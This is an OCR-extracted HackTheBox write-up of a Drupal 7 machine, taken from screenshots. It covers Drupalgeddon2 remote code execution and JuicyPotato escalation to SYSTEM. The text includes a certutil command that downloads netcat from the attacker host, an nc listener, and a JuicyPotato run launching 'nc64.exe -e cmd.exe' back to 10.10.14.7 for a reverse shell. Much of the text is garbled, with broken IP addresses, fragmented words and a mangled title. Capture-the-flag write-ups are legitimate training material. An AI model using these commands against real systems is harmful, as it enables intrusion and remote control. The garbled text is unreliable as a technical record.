

https://github.com/giovifazi
https://app.hackthebox.eu/profile/55980

Index &

1 FOOTHOLD

2 USER PRIVILEGE ESCALATION

3 ADMIN PRIVILEGE ESCALATION

HACKTHEBOX WRITEUP

O GloviFazl

HTB: CHRISTOUCH


https://github.com/giovifazi
https://app.hackthebox.eu/profile/55980

1 FOOTHOLD

Only three ports were found open. Port 80 hosts a drupal 7 instance that looks promising

Found ireet 10.10.19.9
Found on target 10.10.16.9

Found on target 106.10.10.9

2 USER PRIVILEGE ESCALATION

Drupalgeddon may work and get us rce:

< - C @ © & github.com

Kali Linux Kali Training Kali Tools « Kali Docs Kali Forums

O

[ dreadlocked/Drupalgeddon2

¢>» Code lssues 4 Pull requests 1 Actions

$° master ~ Drupalgeddon2 / drupalgeddon2.rb / ¢> Jump o ~

The exploit had failed to write a php shell, but rce was possible:
:~/hackthebox/Bastard$ ./d.rb http://10.10.10.9/
ru| doi

/10.10.10.9/

Found : t /10.10.10.9/CHANGELOG. (HTTP Respon
1 Drupal!:

seems to be

.10.9/shell.php)

.CAkHIJFU¥VFU1Eb 3 NOZW@oICRTU W 4 PAY yApOyB9 | ba

L.php
is NOT loitable 4] (HTTP spon LO4) ... ight write a

0.10.10.9/sites/de

yApOyB9 | ba

cho PD9

Might not have
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3 ADMIN PRIVILEGE ESCALATION

Enumeration shows that SelmpersonatePrivilege is enable, JuicyPotato.exe could work

'PI”ILEuE’ INFDPMATIDN

> certutil.e
oo

-URLCache command completed success

certutil.
*%%% (Online
CertUtil: -URLCache command completed succ

609 MB
C:h\p:
HTB
N/ A
N/ A
1 NIC(s)
[@1]:

letwork Card(s)

ction
Enabled: Mo
s(es)
10.1@.18.9
~fhackthebox/Bastard} 1s win/

DHCP
IPF addres
[@1]:

Potato
:~/hackthebox/Bastard$% nc
7.91 ( https

:443:
:~fhackthe
Version 7.91 ( http
Listening on ::: 443
Listening on @.0.8.0:443
Connection from 18.10.108.9.
Connection from 10.10.18.9:57698.
ndows [Version 6.1.760@]

osoft
Copyright (c) 2009 Microsoft Corporation.

Juicy. 86.exe

Version
bind to

nmap.org/ncat

nmap.org/ncat

CiN\inetpubhdrupal-7.54

-urlcache -f htt

essfully.

refile.sys

ncesg.
-lvnp

All

State
Enabled

Enabled
Enabled

p://10.108.14.7/nck

fully.

Installed.
el( PRO/18@@ MT Network Conne

Mame: Local Area

Permission denied. QUITTING.

x/Bastard$ sudo nc -lvnp

rights reserved.
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The standard CLSID used by JuicyPotato doensn’t work, so i tried one from this list (github link)

@ ohpe/juicy-potato @ Watch

¢> Code Issues 10 Pull requests Actions Security

¥ master ~  juicy-potato/ CLSID / Windows_Server_2008_R2_Enterprise /

a ohpe Update tables -

CLSID list Moving docs
] g

[ CLSIDs.csv Moving docs
[ README.md Update tables
README.md

Windows Server 2008 R2 Enterprise

Appld CLSID

-4DCE-4905-9CFD-
3D9E}

JuicyPotato worked and a SYSTEM shell was obtained:

40 ¥7 Star | 1.2k % Fork 303

Insights

Go tofile

+ onAug 20, 2018 (%) History

3 years ago
3 years ago

2 years ago

User

NT
AUTHORITY\SYSTEM

-p c:\windows\system32\cmd.exe -a "/c C:\inetpub\drupal-7.54\ncé e -e cmd.exe 10.10.14.7 4

"/c C:M\inetpub\drupal-7.54\nc64.exe -e cmd.exe 10.10.14.7 444" -t = -c {9B1F122

eateProcessWithTokenW OK

C:\inetpub\drupal-7.54>

C:\Users‘\Administrator\Desktop>type root.txt.txt
Typa IQGT txt. T{t
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